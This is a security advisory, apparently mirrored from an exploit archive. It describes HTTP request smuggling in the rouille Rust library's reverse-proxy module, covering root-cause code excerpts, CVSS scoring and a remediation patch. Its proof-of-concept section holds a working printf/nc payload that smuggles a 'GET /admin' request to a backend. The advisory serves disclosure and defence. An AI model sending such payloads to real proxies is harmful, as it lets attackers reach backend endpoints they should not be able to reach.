## https://sploitus.com/exploit?id=PACKETSTORM:227214
# Security Advisory: HTTP Request Smuggling via Transfer-Encoding Desynchronization (rouille)
**Assigned CVE ID:** CVE-2026-67181
## Summary
`rouille::proxy::proxy` forwards the client's `Transfer-Encoding` header to the
backend unchanged, but writes the request body that `tiny_http` has already
de-chunked. It never emits a `Content-Length` of its own. The backend is told the
body is chunked and handed bytes that are not chunked, so the client, not
rouille, decides where the backend thinks the body ends.
## Affected versions
Repo URL: https://github.com/tomaka/rouille
| | |
|---|---|
| First affected | 0.3.3 (2016-12-03), the release that introduced `src/proxy.rs` |
| Last affected | 3.6.2 (2023-04-24), the current release |
| Not affected | 0.3.2 and earlier, which have no proxy module |
| Fixed in | no fixed version at time of writing |
`src/proxy.rs` is byte-identical between the 3.6.2 tag and current `master`.
Only applications calling `proxy::proxy` or `proxy::full_proxy` are affected.
## Severity
CWE-444 (Inconsistent Interpretation of HTTP Requests).
CVSS 4.0 base score 6.3 (Medium)
`CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N`
## Threat model
A remote, unauthenticated client sending raw HTTP to a rouille application that
acts as a reverse proxy. No credentials or user interaction are needed.
The impact depends on the backend. Backends that pipeline regardless of
`Connection: close`, and any connection-pooling intermediary sitting between
rouille and the origin, will act on the smuggled request. Backends that honour
`Connection: close` still end up with a request body different from the one the
client sent and the one rouille observed.
## Root cause
`tiny_http` de-chunks whenever any `Transfer-Encoding` header is present and
discards `Content-Length`.
`tiny_http-0.12.0/src/request.rs`, lines 149 to 159:
```rust
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
```
`tiny_http-0.12.0/src/request.rs`, lines 218 to 221:
```rust
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
```
`rouille/src/proxy.rs` then forwards every header except `Connection` and copies
the decoded body. Lines 167 to 174:
```rust
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
```
The client's `Transfer-Encoding: chunked` survives line 171. Line 174 writes the
plaintext that `Decoder` produced. No `Content-Length` is ever written, so the
backend has nothing else to frame on and applies chunked parsing to plaintext
the attacker chose.
## Proof of Concept
Step 1. Start a raw listener on port 8001 to act as the backend and show the
bytes rouille sends.
```sh
nc -l 127.0.0.1 8001 | cat -v
```
Step 2. Start a rouille front end on port 8000.
```rust
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
```
Step 3. Send a correctly chunked request whose decoded body is itself a chunked
stream that ends immediately, followed by a second request. The single chunk is
0x3d = 61 bytes long.
```sh
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
```
Result. The listener from step 1 shows rouille announcing chunked framing and
then sending plaintext:
```
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
```
A backend honouring `Transfer-Encoding: chunked` reads the chunk-size line `0`,
concludes the body is empty, and parses the remaining 56 bytes as a new request.
## Impact
The backend's view of the request body differs from both the bytes the client
sent and the bytes rouille read. Anything upstream that logs, audits, or mirrors
the body records something other than what the backend acted on.
Where the backend pipelines despite `Connection: close`, or where a
connection-pooling intermediary sits between rouille and the origin, the trailing
bytes become a second request with an attacker-chosen method and path.
The client's `Content-Length` is also forwarded even though `tiny_http` ignored
it, so a backend that prefers `Content-Length` over `Transfer-Encoding` gets a
CL.TE desynchronisation directly.
## Remediation
Do not forward framing headers that describe a body rouille has already decoded.
In `src/proxy.rs`, extend the skip at line 167:
```rust
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
```
Then emit framing that matches what is actually written: buffer the body and
send an accurate `Content-Length`, or re-chunk it and send
`Transfer-Encoding: chunked` yourself, before the terminating `\r\n\r\n` on
line 173.